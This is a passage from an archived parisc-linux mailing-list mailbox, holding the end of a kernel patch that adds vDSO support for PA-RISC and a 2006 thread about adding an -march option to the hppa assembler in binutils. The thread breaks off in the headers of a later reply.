+vdso32_start:
+	.incbin "arch/parisc/kernel/vdso32/vdso32.so"
+	.balign PAGE_SIZE
+vdso32_end:
+
+	.previous
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 0e449f9..06c74de 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -29,6 +29,7 @@ #include <asm/tlb.h>
 #include <asm/pdc_chassis.h>
 #include <asm/mmzone.h>
 #include <asm/sections.h>
+#include <asm/vdso.h>
 
 DEFINE_PER_CPU(struct mmu_gather, mmu_gathers);
 
@@ -541,6 +542,8 @@ #ifdef CONFIG_DEBUG_KERNEL /* double-san
 	       _text, _etext,
 	       ((unsigned long)_etext - (unsigned long)_text) >> 10);
 #endif
+
+	vdso_init();
 }
 
 unsigned long *empty_zero_page __read_mostly;
diff --git a/include/asm-parisc/auxvec.h b/include/asm-parisc/auxvec.h
index 9c3ac4b..d49902d 100644
--- a/include/asm-parisc/auxvec.h
+++ b/include/asm-parisc/auxvec.h
@@ -1,4 +1,9 @@
 #ifndef __ASMPARISC_AUXVEC_H
 #define __ASMPARISC_AUXVEC_H
 
+/* The vDSO location. We have to use the same value as x86 for glibc's
+ * sake :-)
+ */
+#define AT_SYSINFO_EHDR		33
+
 #endif
diff --git a/include/asm-parisc/cacheflush.h b/include/asm-parisc/cacheflush.h
index 2bc41f2..b62563d 100644
--- a/include/asm-parisc/cacheflush.h
+++ b/include/asm-parisc/cacheflush.h
@@ -83,13 +83,13 @@ static inline void flush_cache_range(str
 {
 	int sr3;
 
-	if (!vma->vm_mm->context) {
+	if (!vma->vm_mm->context.space_id) {
 		BUG();
 		return;
 	}
 
 	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
+	if (vma->vm_mm->context.space_id == sr3) {
 		flush_user_dcache_range(start,end);
 		flush_user_icache_range(start,end);
 	} else {
@@ -149,7 +149,7 @@ flush_user_cache_page_non_current(struct
 
 	/* make us current */
 	mtctl(__pa(vma->vm_mm->pgd), 25);
-	mtsp(vma->vm_mm->context, 3);
+	mtsp(vma->vm_mm->context.space_id, 3);
 
 	flush_user_dcache_page(vmaddr);
 	if(vma->vm_flags & VM_EXEC)
@@ -164,7 +164,7 @@ flush_user_cache_page_non_current(struct
 static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
-	if (likely(vma->vm_mm->context == mfsp(3))) {
+	if (likely(vma->vm_mm->context.space_id == mfsp(3))) {
 		flush_user_dcache_page(vmaddr);
 		if (vma->vm_flags & VM_EXEC)
 			flush_user_icache_page(vmaddr);
@@ -176,7 +176,7 @@ __flush_cache_page(struct vm_area_struct
 static inline void
 flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn)
 {
-	BUG_ON(!vma->vm_mm->context);
+	BUG_ON(!vma->vm_mm->context.space_id);
 
 	if (likely(translation_exists(vma, vmaddr, pfn)))
 		__flush_cache_page(vma, vmaddr);
diff --git a/include/asm-parisc/elf.h b/include/asm-parisc/elf.h
index adea65f..81e232d 100644
--- a/include/asm-parisc/elf.h
+++ b/include/asm-parisc/elf.h
@@ -297,6 +297,17 @@ typedef elf_fpreg_t elf_fpregset_t[ELF_N
 
 struct task_struct;
 
+#define ARCH_HAS_SETUP_ADDITIONAL_PAGES
+struct linux_binprm;
+extern int arch_setup_additional_pages(struct linux_binprm *bprm,
+				       int executable_stack);
+#define VDSO_AUX_ENT(a,b) NEW_AUX_ENT(a,b);
+
+#define ARCH_DLINFO						\
+do {								\
+	NEW_AUX_ENT(AT_SYSINFO_EHDR, current->mm->context.vdso_base); \
+} while (0)
+
 extern int dump_task_fpu (struct task_struct *, elf_fpregset_t *);
 #define ELF_CORE_COPY_FPREGS(tsk, elf_fpregs) dump_task_fpu(tsk, elf_fpregs)
 
diff --git a/include/asm-parisc/mmu.h b/include/asm-parisc/mmu.h
index 6a310cf..b9175c9 100644
--- a/include/asm-parisc/mmu.h
+++ b/include/asm-parisc/mmu.h
@@ -1,7 +1,9 @@
 #ifndef _PARISC_MMU_H_
 #define _PARISC_MMU_H_
 
-/* On parisc, we store the space id here */
-typedef unsigned long mm_context_t;
+typedef struct {
+	unsigned long space_id;
+	unsigned long vdso_base;
+} mm_context_t;
 
 #endif /* _PARISC_MMU_H_ */
diff --git a/include/asm-parisc/mmu_context.h b/include/asm-parisc/mmu_context.h
index 9c05836..0fa9679 100644
--- a/include/asm-parisc/mmu_context.h
+++ b/include/asm-parisc/mmu_context.h
@@ -21,24 +21,24 @@ init_new_context(struct task_struct *tsk
 {
 	BUG_ON(atomic_read(&mm->mm_users) != 1);
 
-	mm->context = alloc_sid();
+	mm->context.space_id = alloc_sid();
 	return 0;
 }
 
 static inline void
 destroy_context(struct mm_struct *mm)
 {
-	free_sid(mm->context);
-	mm->context = 0;
+	free_sid(mm->context.space_id);
+	mm->context.space_id = 0;
 }
 
 static inline void load_context(mm_context_t context)
 {
-	mtsp(context, 3);
+	mtsp(context.space_id, 3);
 #if SPACEID_SHIFT == 0
-	mtctl(context << 1,8);
+	mtctl(context.space_id << 1,8);
 #else
-	mtctl(context >> (SPACEID_SHIFT - 1),8);
+	mtctl(context.space_id >> (SPACEID_SHIFT - 1),8);
 #endif
 }
 
@@ -65,8 +65,8 @@ static inline void activate_mm(struct mm
 
 	BUG_ON(next == &init_mm); /* Should never happen */
 
-	if (next->context == 0)
-	    next->context = alloc_sid();
+	if (next->context.space_id == 0)
+	    next->context.space_id = alloc_sid();
 
 	switch_mm(prev,next,current);
 }
diff --git a/include/asm-parisc/page.h b/include/asm-parisc/page.h
index dcf9047..091048d 100644
--- a/include/asm-parisc/page.h
+++ b/include/asm-parisc/page.h
@@ -12,9 +12,11 @@ # define PAGE_SHIFT	16
 #else
 # error "unknown default kernel page size"
 #endif
-#define PAGE_SIZE	(1UL << PAGE_SHIFT)
+#define PAGE_SIZE	(1 << PAGE_SHIFT)
 #define PAGE_MASK	(~(PAGE_SIZE-1))
 
+/* We do define AT_SYSINFO_EHDR but don't use the gate mechanism */
+#define __HAVE_ARCH_GATE_AREA		1
 
 #ifndef __ASSEMBLY__
 
diff --git a/include/asm-parisc/processor.h b/include/asm-parisc/processor.h
index fd7866d..74ba37b 100644
--- a/include/asm-parisc/processor.h
+++ b/include/asm-parisc/processor.h
@@ -181,7 +181,7 @@ typedef unsigned int elf_caddr_t;
 
 #define start_thread_som(regs, new_pc, new_sp) do {	\
 	unsigned long *sp = (unsigned long *)new_sp;	\
-	__u32 spaceid = (__u32)current->mm->context;	\
+	__u32 spaceid = (__u32)current->mm->context.space_id;	\
 	unsigned long pc = (unsigned long)new_pc;	\
 	/* offset pc for priv. level */			\
 	pc |= 3;					\
@@ -285,7 +285,7 @@ #endif
 
 #define start_thread(regs, new_pc, new_sp) do {		\
 	elf_addr_t *sp = (elf_addr_t *)new_sp;		\
-	__u32 spaceid = (__u32)current->mm->context;	\
+	__u32 spaceid = (__u32)current->mm->context.space_id;	\
 	elf_addr_t pc = (elf_addr_t)new_pc | 3;		\
 	elf_caddr_t *argv = (elf_caddr_t *)bprm->exec + 1;	\
 							\
diff --git a/include/asm-parisc/tlbflush.h b/include/asm-parisc/tlbflush.h
index f662e83..5625b76 100644
--- a/include/asm-parisc/tlbflush.h
+++ b/include/asm-parisc/tlbflush.h
@@ -47,9 +47,9 @@ #ifdef CONFIG_SMP
 	flush_tlb_all();
 #else
 	if (mm) {
-		if (mm->context != 0)
-			free_sid(mm->context);
-		mm->context = alloc_sid();
+		if (mm->context.space_id != 0)
+			free_sid(mm->context.space_id);
+		mm->context.space_id = alloc_sid();
 		if (mm == current->active_mm)
 			load_context(mm->context);
 	}
@@ -66,7 +66,7 @@ static inline void flush_tlb_page(struct
 	/* For one page, it's not worth testing the split_tlb variable */
 
 	mb();
-	mtsp(vma->vm_mm->context,1);
+	mtsp(vma->vm_mm->context.space_id,1);
 	purge_tlb_start();
 	pdtlb(addr);
 	pitlb(addr);
@@ -82,7 +82,7 @@ static inline void flush_tlb_range(struc
 	if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
 		flush_tlb_all();
 	else {
-		mtsp(vma->vm_mm->context,1);
+		mtsp(vma->vm_mm->context.space_id,1);
 		purge_tlb_start();
 		if (split_tlb) {
 			while (npages--) {
diff --git a/include/asm-parisc/vdso.h b/include/asm-parisc/vdso.h
new file mode 100644
index 0000000..9fe98c9
--- /dev/null
+++ b/include/asm-parisc/vdso.h
@@ -0,0 +1,44 @@
+#ifndef __PARISC_VDSO_H__
+#define __PARISC_VDSO_H__
+
+#ifdef __KERNEL__
+
+/* Default link addresses for the vDSOs */
+#define VDSO32_LBASE	0x80000000
+#define VDSO64_LBASE	0x80000000
+
+/* Default map addresses */
+#define VDSO32_MBASE	VDSO32_LBASE
+#define VDSO64_MBASE	VDSO64_LBASE
+
+#define VDSO_VERSION_STRING	LINUX_2.6.19
+
+#ifndef __ASSEMBLY__
+
+extern unsigned int vdso64_pages;
+extern unsigned int vdso32_pages;
+
+/* Offsets relative to thread->vdso_base */
+extern unsigned long vdso64_rt_sigtramp;
+extern unsigned long vdso32_sigtramp;
+extern unsigned long vdso32_rt_sigtramp;
+
+extern void vdso_init(void);
+
+#else /* __ASSEMBLY__ */
+
+#define V_FUNCTION_BEGIN(name)		\
+	.globl name;			\
+	.type name,@function; 		\
+	name:				\
+
+#define V_FUNCTION_END(name)		\
+	.size name,.-name;
+
+#define V_LOCAL_FUNC(name) (name)
+
+#endif /* __ASSEMBLY__ */
+
+#endif /* __KERNEL__ */
+
+#endif /* __PARISC_VDSO_H__ */
diff --git a/include/asm-parisc/vdso_datapage.h b/include/asm-parisc/vdso_datapage.h
new file mode 100644
index 0000000..b79879a
--- /dev/null
+++ b/include/asm-parisc/vdso_datapage.h
@@ -0,0 +1,43 @@
+#ifndef _VDSO_DATAPAGE_H
+#define _VDSO_DATAPAGE_H
+#ifdef __KERNEL__
+
+/*
+ * Copyright (C) 2006 Randolph Chung <tausq@debian.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * version 2.
+ */
+
+
+#ifndef __ASSEMBLY__
+
+#include <linux/unistd.h>
+
+#define SYSCALL_MAP_SIZE      ((__NR_Linux_syscalls + 31) / 32)
+
+struct vdso_data {
+	__u64 tb_orig_stamp;		/* Timebase at boot		0x30 */
+	__u64 tb_ticks_per_sec;		/* Timebase tics / sec		0x38 */
+	__u64 tb_to_xs;			/* Inverse of TB to 2^20	0x40 */
+	__u64 stamp_xsec;		/*				0x48 */
+	__u32 tb_update_count;		/* Timebase atomicity ctr	0x50 */
+	__u32 tz_minuteswest;		/* Minutes west of Greenwich	0x58 */
+	__u32 tz_dsttime;		/* Type of dst correction	0x5C */
+	__s32 wtom_clock_sec;			/* Wall to monotonic clock */
+	__s32 wtom_clock_nsec;
+#ifdef CONFIG_64BIT
+   	__u32 syscall_map_64[SYSCALL_MAP_SIZE]; /* map of syscalls  */
+#endif
+   	__u32 syscall_map_32[SYSCALL_MAP_SIZE]; /* map of syscalls */
+};
+
+#ifdef __KERNEL__
+extern struct vdso_data *vdso_data;
+#endif
+
+#endif /* __ASSEMBLY__ */
+
+#endif /* __KERNEL__ */
+#endif /* _VDSO_DATAPAGE_H */

--------------080200030008040309060204
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------080200030008040309060204--



From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sun, 29 Oct 2006 09:33:11 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <1162132391.5690.13.camel__39035.5550837286$1416624202$gmane$org@localhost.localdomain>
References: <200610230214.k9N2E1iI018209@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1708411661=="
X-Trace: ger.gmane.org 1416624202 21456 80.91.229.3 (22 Nov 2014 02:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:22 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:38:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 30 Oct 2006 16:38:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ABF07D8C9;
	Mon, 30 Oct 2006 08:37:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22883-06; Mon, 30 Oct 2006 08:37:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CDC67D65B;
	Mon, 30 Oct 2006 08:36:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C336B7D80B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 07:33:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02360-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 07:33:34 -0700 (MST)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id 67DBC7D7F8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 07:33:34 -0700 (MST)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MO-MR004.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J7W006KXJ3X7V40@VL-MO-MR004.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 29 Oct 2006 09:33:33 -0500 (EST)
In-reply-to: <200610230214.k9N2E1iI018209@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZS51cYJsX1VpCOuYY2FyAOd3SDc4NAzO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24048


--===============1708411661==
Content-type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="=-c78SLOb1SdDB6CvOPRHB"


--=-c78SLOb1SdDB6CvOPRHB
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Le dimanche 22 octobre 2006 =C3=A0 22:14 -0400, John David Anglin a =C3=A9c=
rit :
> > > Yes, but it's wrong.  I'm not worried about changing it since
> > > there isn't really a 64-bit netbsd target.  Also, GCC doesn't
> > > support hppa64-netbsd.
> >=20
> > Fair enough. =3D)  I've so far been trying to preserve behaviour.  I'm
> > happy to change it to just elf64-hppa for now if that's better.

In exploring how other arches handle unifying 32 and 64 bit binutils, it
looks like they rely on a command line switch to get things set early
enough.  output_file_create calls TARGET_FORMAT before the asm file is
read, so we can't use the .LEVEL instruction to tell is if we're
elf32-hppa or elf64-hppa.

It looks like the best thing to do is to support the -march parameter,
similar to gcc.  gcc supports:

-march=3D{1.0,1.1,2.0}

Should I add 2.0w to this for 64bit?  Talking about it with Randolph on
IRC, he pointed out that hppa2.0w-hp-hpux11.11 targets a 32 bit
userspace on a wide kernel.

HP/UX as supports the syntax:

+DAarchitecture

But I'd rather stick with something that feels more like the rest of the
arches and toolchain.

Thanks!

--
Jeff Bailey - http://www.raspberryginger.com/jbailey/

--=-c78SLOb1SdDB6CvOPRHB
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Ceci est une partie de message
	=?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?=

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQBFRLun5M5hmdCYCpkRAso5AKDOQaEKd3NRPWLXcpTs8Un6sI5rsACguXoV
BU3LaPP61VG8ZbUkHbWJEHg=
=xB0W
-----END PGP SIGNATURE-----

--=-c78SLOb1SdDB6CvOPRHB--


--===============1708411661==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1708411661==--



From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sun, 29 Oct 2006 15:48:05 -0500 (EST)
Lines: 72
Approved: news@gmane.org
Message-ID: <200610292048.k9TKm6lG001929__457.945574498986$1416624202$gmane$org@hiauly1.hia.nrc.ca>
References: <1162132391.5690.13.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624202 21457 80.91.229.3 (22 Nov 2014 02:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:22 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: jbailey@raspberryginger.com (Jeff Bailey)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:38:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 30 Oct 2006 16:38:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40F207D8F4;
	Mon, 30 Oct 2006 08:38:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23210-07; Mon, 30 Oct 2006 08:38:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D15537D910;
	Mon, 30 Oct 2006 08:36:40 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF4DD7D811
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 13:48:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07848-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 13:48:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4E6137D808
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 13:48:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k9TKm8k9001933;
	Sun, 29 Oct 2006 15:48:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k9TKm6lG001929;
	Sun, 29 Oct 2006 15:48:06 -0500 (EST)
In-Reply-To: <1162132391.5690.13.camel@localhost.localdomain> from "Jeff
	Bailey" at Oct 29, 2006 09:33:11 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XCpzdJBNbUkoDenGPWgnGqNkZ2hlN8ql
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24049

> It looks like the best thing to do is to support the -march parameter,
> similar to gcc.  gcc supports:
> 
> -march={1.0,1.1,2.0}
> 
> Should I add 2.0w to this for 64bit?  Talking about it with Randolph on
> IRC, he pointed out that hppa2.0w-hp-hpux11.11 targets a 32 bit
> userspace on a wide kernel.

Right.  The convention is that the first hunk refers to the kernel
architecture.  Back in the old days, the tools only supported a 32-bit
userspace.  When the 64-bit tools were developed, a way to select the
64-bit userspace was needed.  hppa64 was chosen for 64-bit userspace.
So, config.guess now changes hppa2.0w to hppa64 if it detects ${CC}
is generating 64-bit code.

This was obviously the easy way forward and probably hppa64 should
never have been invented.  However, it was, so I think we are stuck
with it.  If merging archs can be done, then it will just become
a synonym for hppa2.0w.  The downside in doing this is that the
arch needs to be specified when packages are configured.

I think that adding -march={1.0, 1.1, 2.0, 2.0w} to the command
line options is reasonable.  This together with .level could be
used to select output format and arch.  I think .level overrides
the command line option (warning needed).  .level should appear
before any other directives.  If we need to become more specific
about the ABI, then an -mabi option could be added.

The tricky part is handling both som and elf64 for hpux, and elf32
and elf64 for linux.  It will take a fair bit of work to merge the
bfd stuff.  It may be difficult to do this in a clean manner given
that the elf and som targets are quite different.

I think the best plan would be to do the various merges before
adding the option to select the arch at runtime.

> HP/UX as supports the syntax:
> 
> +DAarchitecture
> 
> But I'd rather stick with something that feels more like the rest of the
> arches and toolchain.

The big problem in supporting multiple ABIs lies in GCC.  The som and
elf64 targets are essentially incompatible.  There are a number of macros
which change GCC's behavior depending on whether they are defined or not
defined.  We have a number of macros that need to be defined in one case
and not in the other.  Jeff Law used to say it wasn't worth the effort
to merge the two ports.  I think the same problem is present in binutils
and gdb.

The GMP package has an ABI configure option.  I don't really like it but
for performance reasons they want to use 64-bit registers with the 32-bit
som runtime and a wide kernel.  This works since the kernel saves the
full 64-bit context.  However, we don't try this in GCC since the upper
32-bits aren't preserved across calls.

HP compilers also have a +DDdata_model option to generate code for
the ILP32 and ILP64 data models.  This option overlaps to some extent
the +DA option.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c
Date: Sun, 29 Oct 2006 17:38:10 -0500
Lines: 94
Approved: news@gmane.org
Message-ID: <1162161490.18508.13.camel__26059.0940867134$1416624202$gmane$org@localhost.localdomain>
References: <200610292048.k9TKm6lG001929@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0062469753=="
X-Trace: ger.gmane.org 1416624202 21460 80.91.229.3 (22 Nov 2014 02:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:22 +0000 (UTC)
Cc: binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2006 15:38:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 30 Oct 2006 16:38:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8557B7D910;
	Mon, 30 Oct 2006 08:38:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23254-07; Mon, 30 Oct 2006 08:38:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E82D87D711;
	Mon, 30 Oct 2006 08:36:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05BC27D818
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 15:38:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08228-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 15:38:34 -0700 (MST)
Original-Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36])
	by free.linux.hp.com (Postfix) with ESMTP id 942857D808
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Oct 2006 15:38:34 -0700 (MST)
Original-Received: from [192.168.223.50] ([24.203.249.139])
	by VL-MH-MR002.ip.videotron.ca
	(Sun Java System Messaging Server 6.2-2.05 (built Apr 28 2005))
	with ESMTP id <0J7X009B95K997C0@VL-MH-MR002.ip.videotron.ca> for
	parisc-linux@lists.parisc-linux.org;
	Sun, 29 Oct 2006 17:38:33 -0500 (EST)
In-reply-to: <200610292048.k9TKm6lG001929@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.8.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
